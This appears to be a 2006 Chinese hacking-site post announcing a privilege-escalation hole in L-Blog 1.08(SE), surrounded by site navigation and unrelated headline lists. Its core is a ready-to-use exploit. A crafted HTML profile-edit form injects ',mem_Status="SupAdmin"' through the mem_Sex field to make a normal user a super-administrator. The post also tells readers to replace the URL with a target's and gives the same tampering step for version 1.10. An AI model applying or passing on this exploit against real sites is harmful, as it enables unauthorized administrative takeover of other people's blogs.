资源交流吧：VIP  | 网站首页 | 文章中心 | 下载中心 | 图片中心 | 雁过留声 | 音乐无限 | 互动书吧 | BT下载 | 留学频道 |  {$Wap}
您现在的位置： 九佰度在线 九佰度空间 >> 文章中心 >> 黑客前沿 >> 漏洞公告 >> 文章正文 用户登录 新用户注册
L-Blog1.08(SE) 提权漏洞           ★★★ 【字体：小 大】


L-Blog1.08(SE) 提权漏洞
作者：未知    文章来源：来自网络    点击数：    更新时间：2006-2-11
765
<html>  
<head> 
</head> 
<body> 
<table width="768" border="0" align="center" cellpadding="4" cellspacing="6" background="images/blog_main.gif"> 
  <tr> 
    <td width="128" align="center"><strong>用户编辑</strong></td> 
    <td valign="top" align="center"><table width="95%" border="0" cellpadding="4" cellspacing="1" bgcolor="#CCCCCC"> 
      <tr bgcolor="#EFEFEF"> 
        <td colspan="2"><b>编辑个人资料</b></td> 
        </tr> 
  <tr bgcolor="#FFFFFF"><form action="http://url/member.asp?action=edit&edit=post" method="post" name="Submit" id="Submit"> 
        <td width="98" align="right" nowrap>名称：</td> 
        <td width="100%">&nbsp;9xiao</td> 
        </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>旧密码：</td> 
        <td>&nbsp;<input name="mem_OldPassword" type="password" id="mem_OldPassword" size="16"> 
          <span class="htd"><b><font color="#FF0000">&nbsp;*</font></b> 修改资料必须输入原密码</span></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>新密码：</td> 
        <td>&nbsp;<input name="mem_NewPassword" type="password" id="mem_NewPassword" size="16"> 
          &nbsp;<span class="htd"><b><font color="#FF0000">*</font></b> 密码必须是6-16位</span></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>确认密码：</td> 
        <td>&nbsp;<input name="mem_RePassword" type="password" id="mem_RePassword" size="16"></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>性别：</td> 
        <td><input name="mem_Sex" type="text" size="36" value=0,mem_Status="SupAdmin"  ></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>邮箱：</td> 
        <td>&nbsp;<input name="mem_Email" type="text" id="mem_Email" value="pyadong at 263 dot net" size="30"> 
          &nbsp; 
          <input name="mem_HideEmail" type="checkbox" id="mem_HideEmail" value="1" > 
          隐藏邮箱</td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>腾讯QQ：</td> 
        <td>&nbsp;<input name="mem_QQ" type="text" id="mem_QQ" value=""></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>个人主页：</td> 
        <td>&nbsp;<input name="mem_HomePage" type="text" id="mem_HomePage" value="" size="35"></td> 
      </tr> 
      <tr bgcolor="#FFFFFF"> 
        <td align="right" nowrap>个人简介：</td> 
        <td>&nbsp;<textarea name="mem_Intro" cols="50" rows="5" wrap="VIRTUAL" id="mem_Intro"></textarea></td> 
      </tr> 
      <tr align="center" bgcolor="#FFFFFF"> 
        <td colspan="2"> 
          <input type="submit" name="Submit" value=" 确定编辑 "> 
        </td> 
        </tr></form> 
    </table></td> 
  </tr> 
</table></body> 
</html> 

 action="http://url/member.asp?action=edit&edit=post" 替换为目标url，1.10版本抓包修改mem_Sex值为“0,mem_Status="SupAdmin"”

[1]
文章录入：qq007    责任编辑：qq007 
  • 上一篇文章：

  • 下一篇文章：
    • 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    		　本类热门文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
    		　最新推荐文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
    		　最新文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
    　文章评论（评论内容只代表网友观点，与本站立场无关！） 【发表评论】
    007在线工作室 版权所有 未经许可 严禁复制本站页面以及盗取资源链接
    Copyright© 2005-2006 使用800*600像素访问本站将达到最佳效果 苏ICP备05042773号